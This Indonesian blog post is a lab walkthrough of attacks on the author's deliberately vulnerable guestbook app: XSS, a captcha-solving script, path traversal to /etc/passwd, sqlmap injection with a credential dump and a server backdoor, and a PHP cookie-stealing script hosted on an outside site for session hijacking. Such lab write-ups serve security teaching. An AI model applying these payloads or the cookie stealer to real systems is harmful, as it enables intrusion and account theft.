Di kesempatan lalu, saya pernah posting di blog ini tentang tutorial Hacking Anatomy (Plus Real Hacking Example). Untuk kesempatan kali ini saya akan posting studi kasus security hole di layer aplikasi yang dapat berimplikasi terhadap keamanan OS server nya. Sudah berapa lama ingin posting di blog tentang lanjutan cerita exploitasi, tapi selalu saja tidak sempat hahaha. Jadi, jika posting tutorial sebelumnya lebih ke exploitasi bug pada server, sekarang saatnya explorasi di layer aplikasi hehehe.
Disclaimer:
Semua informasi yang ada di postingan ini hanya studi kasus pada aplikasi yang dimiliki oleh saya sendiri dan pure untuk sharing ilmu. Penyalahgunaan ilmu, teknik & tools yang disampaikan disini bukan merupakan tanggung jawab saya.
Requirement tools
Tools yang digunakan dalam lab web hacking di posting ini adalah sbb:
- Nikto. Sebuah program berbasis CLI untuk melakukan high-level scan vulnerability pada aplikasi web.
- OWASP Zed Attack Proxy (ZAP). Sebuah desktop apps yang akan melakukan deep scan vulnerability pada aplikasi web.
- Sqlmap. Program berbasis CLI untuk melakukan exploitasi SQL injection. Dibutuhkan python2.7 agar program ini bisa running.
- Cookie Editor. Untuk melakukan modifikasi cookie pada web browser.
Prepare the Target
Websitenet ( https://inan.tibandung.com/pub/websitenet-vulnapps.html )
Target website dalam tutorial lab ini adalah sebuah website bernama websitenet yang pernah saya buat iseng-iseng sekitar tahun 2010 yang memang sengaja disiapkan banyak hole agar bisa di exploitasi hahaha. Ya, website ini memang dibuat sedemikian sehingga vulnerable dari berbagai macam teknik serangan web. Aplikasi untuk coba-coba ini (inget untuk coba-coba ya, hahaha -red) kemudian sempat saya poles sedikit biar rapi dan pada akhirnya bisa di publish untuk digunakan oleh siapa saja yang mau hands-on melakukan web hacking tapi bingung targetnya siapa heheh.
Let’s Start!
Di bawah ini adalah tampilan aplikasi websitenet saat pertama kali di buka. Websitenet adalah sebuah web dinamis yang memiliki fitur guestbook. Pengunjung bisa mengisi guestbook, melihat tamu yang sudah pernah mengisi guestbook, dan mencari tamu based-on email address. Websitenet di hosting di direktori bernama “websitenet” pada server victim 192.168.76.19. Sehingga dari URL bar webrowser akan terlihat menjadi http://192.168.76.19/websitenet/
As always… hacking itu lebih banyak seni nya daripada sains nya. Tidak ada ketetapan dalam hacking. Tidak ada ketentuan baku yang harus dituruti. Semua tergantung kreatifitas.
Dan inilah caraku…
Oke mari berkreatifitas. Pertama-tama, iseng-iseng saya coba scan menggunakan Nikto… (enak banget ya jadi hacker jaman sekarang, kerjaan nya di tinggalin sama scanner aja #ehh)
Dari informasi Nikto ini, ternyata ditemukan:
- Servernya menggunakan CentOS dengan Apache versi 2.2.X dan PHP 5.3.3
- HTTP-Only cookie not set, bisa steal cookie via XSS nih…
- Ooo.. halaman admin terletak di URL /websitenet/admin…
Selanjutnya mencoba lakukan scan yang lebih komprehensif dengan ZAP…
Sedikit menunggu beberapa lama proses scan berlangsung, sambil makan kue2 cancik, dan cek hasilnya…. uwow, lumayan menemukan vulnerability pada website target…
Detail temuan yang dikotak merah di atas itu, sebagai berikut…
CROSS SITE SCRIPTING (XSS)
Ditemukan bug XSS pada URL tertentu di aplikasi web. Hal ini karena aplikasi web tidak melakukan filter input dari user.
Mari kita coba langsung akses dengan web browser.. untuk validasi apakah bug tersebut memang ada di website nya… coba inject tag HTML standar, dan ternyata memang benar… di halaman websitenet kini muncul teks “asdfasdfasdfasdf”:
http://192.168.76.19/websitenet/guestbook.php?x=[xss_here]
Bug XSS lainnya yang dilaporkan hasil scan ZAP adalah di form guestbook pada inputan email. Lagi-lagi karena aplikasi “websitenet” ini tidak melakukan validasi inputan dari user.
Mari validasi manual dengan web browser, coba masukkan script alert pada form email…
Setelah di input, klik menu “View Guestbook”, dan jreng-jreng.. box alert sukses muncul di web browser yang artinya script berhasil tersimpan di guestbook dan di load dengan sempurna oleh web browser
CAPTCHA CRACKING
Ngomong-ngomong soal form isian guestbook nya dari gambar di atas, form validasi captcha nya keliatan mureee banget. Hahaha. Jangan-jangan ini juga ada celahnya? Ya! Umumnya captcha menggunakan image, bukan teks karena tentu saja teks lebih mudah dibaca oleh bot. Walaupun image juga bisa dipecahkan dengan menggunakan OCR.
Dengan sebuah script sederhana, captcha di atas bisa kita ambil dan jumlahkan hasilnya. Sehingga implementasi captcha pada form ini menjadi sia-sia.
Code:
<?php $url = "http://192.168.76.19/websitenet/guestbook.php"; $str = file_get_contents($url); $pos1 = strpos($str,"TheCaptcha"); $x = substr($str,$pos1+11,-540); $equation = str_replace(" ", "", $x); eval("\$captcha=$equation;"); print $equation."=".$captcha."\n"; ?>
Dengan menjalankan code di atas, seluruh captcha challenge dari form guestbook “websitenet” dapat dipecahkan dengan mudah…
Insight dari temuan ini: captcha dibuat untuk mempersulit BOT tapi tidak menyusahkan manusia. Kalau tidak menyusahkan bagi BOT sama sekali, mending ga usah pasang captcha sekalian hahaha…
PATH TRAVERSAL
Security hole selanjutnya yang ditemukan pada aplikasi websitenet adalah path traversal. Dimana si pembuat aplikasi (maksudnya saya hahaha -red) menggunakan fitur file inclusion pada aplikasinya. Namun dapat digunakan oleh orang-orang yang kreatif untuk membuka file lainnya pada server.
Katakanlah URL aslinya adalah http://192.168.76.19/websitenet/about.php?file=README.txt, namun seseorang yang iseng mencoba mengganti di URL bar web browsernya menjadi http://192.168.76.19/websitenet/about.php?file=/etc/passwd daaan BOOM muncullah semua isi file /etc/passwd pada Linux server. Kalau diganti jadi http://192.168.76.19/websitenet/about.php?file=/home/donjuan/affair_hotel_melati.jpg dan BOOM.. muncullah… gambar…….. Doraemon.
SQL INJECTION
Temuan selanjutnya dari informasi scanner ZAP adalah SQL injection pada form search guestbook, karena lagi-lagi tidak dilakukan filter pada inputan… Berikut temuannya:
Coba inject manual di halaman yang dilaporkan oleh ZAP, hasilnya memang input parameter ’email’ vulnerable, bahkan membocorkan informasi nama table dan column-nya sbb:
Mulai dari sini, saya akan menggunakan Sqlmap untuk exploitasi bug ini lebih dalam. Menurut laporan di atas, parameter ’email’ vulnerable dan bisa diinject syntax SQL. Okay, let’s launch the gun!
Validated by sqlmap, parameter email ternyata injectable. Mari kita gali lebih dalam celah tersebut…
Hasilnya, oo nama databasenya: ‘websitenet’:
Selanjutnya, enumerasi table-table yang terdapat di database ‘websitenet’
Outputnya adalah list table yang ada di database sbb:
Wah ada table ‘users’ nih.. Biasanya isinya menarik ;P Mari lihat isi table ‘users’
Hasilnya:
Nah kan.. ada kolom email, username, password.. 😛
Selanjutnya kita dump isi table users tersebut:
Hasil dump tersebut langsung dicoba untuk di crack juga dengan teknik dictionary attack. Ternyata ketebak. Wah, adminnya fans StarWars 😀
Tunggu dulu.. user ini jangan-jangan user yang digunakan untuk login di URL /websitenet/admin yang ditemukan tadi oleh tools Nikto?? Dicoba login ke halaman admin dengan 2 user ini, ternyata benar. Voila! Website PWNED!
Belum cukup sampai bisa menguasai website, bisakah kita masuk ke server? Ada banyak cara yang bisa dilakukan. Salah satunya dengan upload file PHP shell dengan menggunakan form upload di page admin ini, atau via advanced sql injection dengan menggunakan tool Sqlmap. Karena cara pertama sudah pernah saya bahas di blog ini, mari kita coba dengan Sqlmap hehe…
Sqlmap dilengkapi dengan fitur OS Shell yang dapat menggenerate file backdoor di webserver via SQL memanfaatkan syntax SQL “INTO OUTFILE”. Dengan syntax SQL tsb dapat dihasilkan sebuah file di server. Dan file yang akan dibuat tersebut, untuk kasus kita ini, isinya tak lain dan tak bukan adalah file PHP backdoor lah.. hahaha. Ujung-ujungnya hampir sama dengan cara pertama ‘kan..
Daaaaaann EUREKA… mister dije is in the house yoow…!!! Website & also server is PWNED!!! Step selanjutnya bisa eskalasi privilege menjadi root dengan teknik escalation privilege memanfaatkan bug di kernel Linux. Yang lagi booming saat saya menulis postingan ini adalah dengan teknik Dirtycow.
COOKIE STEALING
Celah terakhir (yang dibahas di blog ini) adalah proof bahwa cookie pada website ini dapat di hijack dan digunakan untuk bypass akses halaman yang sebetulnya membutuhkan otentikasi (halaman admin). Teknik yang digunakan adalah memasang perangkap link phishing pada suatu situs, dan diharapkan adminnya _yang sedang aktif login pada “websitenet”_ melakukan visit ke situs tersebut dan cookie nya dicuri.
Berikut ini potongan script untuk mencuri cookie admin nya:
<?php function GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="log.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>"); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?>
Kita beri nama “evil.php” dan hosting di situs tertentu, katakanlah situs: http://playboy.co.id/evil.php. Kirim link tsb ke adminnya, dan berharap adminnya klik link tersebut untuk visit situsnya. Saat sang admin visit situs perangkap tersebut, disisi lain, script “evil.php” di server playboy mencuri informasi cookie dan mencatat di log nya. Berikut value cookie si admin -yang sedang login di websitenet- saat ini yang tercatat di server playboy:
Saya tinggal buka chrome, mengisi session cookie menjadi yang sedang dipegang oleh admin tsb, dan visit halaman admin “websitenet”…
Save cookie tersebut dan refresh browser… Jreng jreng.. jadi sebenarnya tanpa perlu crack password admin di step-step sebelumnya, saya bisa juga masuk halaman admin ya! Hehehe…
Semoga cerita ala2 lab security ini bermanfaat…
Terimakasih sudah berbagi ilmu,
Hacking Anatomy (Plus Real Hacking Example) itu apa?
Bermanfaat sekali dan banyak banget metode nya.. nice share and back http://www.rabiitch.ga
undang saya rabiitch
https://inan.tibandung.com/pub/websitenet-vulnapps.html URL nya sudah tidak aktif. Tolong dishare ulang kak
Check di git saya di https://github.com/inan19x/websitenet
Bisa langsung di clone juga. Semoga bermanfaat.